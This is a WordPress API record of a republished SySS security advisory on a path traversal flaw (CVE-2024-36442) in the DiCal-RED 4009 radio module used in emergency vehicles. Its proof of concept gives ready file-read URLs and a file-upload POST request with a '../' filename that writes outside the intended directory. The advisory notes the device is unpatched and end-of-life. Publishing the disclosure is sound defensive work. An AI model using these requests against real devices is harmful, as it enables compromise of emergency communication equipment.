{"id":59130,"date":"2024-08-23T18:50:12","date_gmt":"2024-08-23T15:50:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180354\/SYSS-2024-039.txt"},"modified":"2024-08-23T18:50:12","modified_gmt":"2024-08-23T15:50:12","slug":"dical-red-4009-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/dical-red-4009-path-traversal\/","title":{"rendered":"DiCal-RED 4009 Path Traversal"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Advisory ID: SYSS-2024-039<br \/>Product: DiCal-RED<br \/>Manufacturer: Swissphone Wireless AG<br \/>Affected Version(s): Unknown<br \/>Tested Version(s): 4009<br \/>Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory (&#8216;Path Traversal&#8217;) (CWE-22)<br \/>Risk Level: High<br \/>Solution Status: Open<br \/>Manufacturer Notification: 2024-04-16<br \/>Solution Date: None<br \/>Public Disclosure: 2024-08-20<br \/>CVE Reference: CVE-2024-36442<br \/>Author of Advisory: Sebastian Hamann, SySS GmbH<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>DiCal-RED is a radio module for communication between emergency vehicles and<br \/>control rooms. It provides Ethernet, Wi-Fi and cellular network connectivity<br \/>and runs a Linux- and BusyBox-based operating system.<\/p>\n<p>The manufacturer describes the product as follows (see [1]):<\/p>\n<p>&#8220;The DiCal-Red radio data module reliably guides you to your destination. This<br \/>is ensured by the linking of navigation (also for the transmission of position<br \/>data) and various radio modules.&#8221;<\/p>\n<p>Due to a path traversal issue, the device is vulnerable to the disclosure<br \/>of arbitrary files and modification of system files, effectively leading to<br \/>remote code execution.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>The administrative web interface of the device is vulnerable to path traversal<br \/>attacks in several places.<\/p>\n<p>The functions to download or display log files can be used to access arbitrary<br \/>files on the device&#8217;s file system.<br \/>The upload function for new license files can be used to write files anywhere<br \/>on the device&#8217;s file system &#8211; possibly overwriting important system<br \/>configuration files, binaries or scripts.<br \/>Replacing files that are executed during system operation results in a full<br \/>compromise of the whole device.<\/p>\n<p>Note that the attacker needs to be authenticated in order to exploit these<br \/>vulnerabilities, i.e. know the administrative system password or its MD5<br \/>hash (cf. SYSS-2024-038).<br \/>However, due to another vulnerability (cf. SYSS-2024-040), authentication is<br \/>not required to display file contents.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>An attacker can download the file \/etc\/deviceconfig via the following URL:<br \/>http:\/192.0.2.1\/cgi-bin\/fdmcgiwebv2.cgi?action=downloadfile&amp;data={%22FilePath%22:%22\/etc\/deviceconfig%22}<\/p>\n<p>Alternatively, the same file can be viewed via<br \/>http:\/192.0.2.1\/cgi-bin\/fdmcgiwebv2.cgi?action=displayfilel&amp;data={%22FilePath%22:%22\/etc\/deviceconfig%22}<\/p>\n<p>The following HTTP POST request uploads a file to the root directory (\/) of<br \/>the device&#8217;s file system:<\/p>\n<p>POST \/cgi-bin\/fdmcgiwebv2.cgi?action=fileupload HTTP\/1.1<br \/>Host: 192.0.2.1<br \/>Content-Length: 190<br \/>Content-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundarynMcoPJ7jKTghQbK5<br \/>[&#8230;]Cookie: QSESSIONID=[&#8230;]\n<p>&#8212;&#8212;WebKitFormBoundarynMcoPJ7jKTghQbK5<br \/>Content-Disposition: form-data; name=&#8221;binary&#8221;; filename=&#8221;..\/poc.txt&#8221;<br \/>Content-Type: text\/plain<\/p>\n<p>PoC<\/p>\n<p>&#8212;&#8212;WebKitFormBoundarynMcoPJ7jKTghQbK5&#8211;<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>The manufacturer recommends not running the device in an untrusted network.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-02-29: Vulnerability discovered<br \/>2024-04-16: Vulnerability reported to manufacturer<br \/>2024-05-10: Manufacturer states that the vulnerability will not be fixed<br \/>2024-05-14: Vulnerability reported to CERT-Bund<br \/>2024-08-13: CERT-Bund informs us that the vendor declared the product EOL<br \/>2024-08-20: Public disclosure of vulnerability<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Product website for DiCal-RED<br \/>https:\/\/www.swissphone.com\/solutions\/components\/terminals\/radio-data-module-dical-red\/<br \/>[2] SySS Security Advisory SYSS-2024-039<br \/>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-039.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Sebastian Hamann of SySS GmbH.<\/p>\n<p>E-Mail: sebastian.hamann@syss.de<br \/>Public Key: https:\/\/www.syss.de\/fileadmin\/dokumente\/PGPKeys\/Sebastian_Hamann.asc<br \/>Key ID: 0x9CE0E440429D8B96<br \/>Key Fingerprint: F643 DF21 62C4 7C53 7DB2 8BA1 9CE0 E440 429D 8B96<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS website.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL: http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<\/p>\n<p>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQIzBAEBCgAdFiEE9kPfIWLEfFN9souhnODkQEKdi5YFAmbEQgMACgkQnODkQEKd<br \/>i5Z0\/Q\/\/URU2aC1Di8bK\/CntBDFfjMk+fD0nXKwo7C\/GSOy41y7xBlz9e9UzJKPP<br \/>fI7fa8RQkbZDlDzpTQHXbvpSocbahWIM62B+c7uGm1EGZyejn7IpJUSbhRZHzKqM<br \/>sNukpHq10p\/AA6BJn4baFgfFIdV+HzXPAm3bkxovL3pUmMYVgFsfzuzpZ3wOqKbn<br \/>M276mEmsBDG2Yi7HqWetqtYAjb35DVokrug+uT8DDe3SSE9V16iqo8EqMqMBXD7L<br \/>aCvVnnVl1ElqJSsIyClyXLoKLcWbBN4zAUlb6f90PEeUtNt5\/qhRiLDzprum8BYo<br \/>7DhMz8MwOTTijNKRcYpVkOfPg1htmdUe5JqElktGcfNDj5YvU4KzG89srigHreJP<br \/>yIVM+J0VX4fQ28cjKTS\/qyXOAeIqJq\/\/3\/vbsgA3YNlP+IPBZYav8\/\/HEPJD1PiD<br \/>fBlwhQ7skn\/EaCBi8EMatu7\/xymA34rnTmmqS5+MCViWcTTB2+fF7H2xhZl1biHD<br \/>DcVMVGgbNAdRIYFkJAh6qg0sXd1VOb8etAhFRQmMt5MeSK+ErbAIiaWTot2wwvbS<br \/>jbTsEG+VL0HTIfEI\/utghGDB+044hJceEyaqRJ\/qq\/3Zx1C13ZsKLPeXZaMoeEWM<br \/>1nYLOJFL\/R\/i+UjFsFzxDG\/IcbionJYOTvULa4vPafdZQ6Yol80=<br \/>=BeZD<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Advisory ID: SYSS-2024-039Product: DiCal-REDManufacturer: Swissphone Wireless AGAffected Version(s): UnknownTested Version(s): 4009Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory (&#8216;Path Traversal&#8217;) (CWE-22)Risk Level: HighSolution Status: OpenManufacturer Notification: 2024-04-16Solution Date: NonePublic Disclosure: 2024-08-20CVE Reference: CVE-2024-36442Author of Advisory: Sebastian Hamann, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DiCal-RED is a radio module for &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59130","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59130"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59130\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}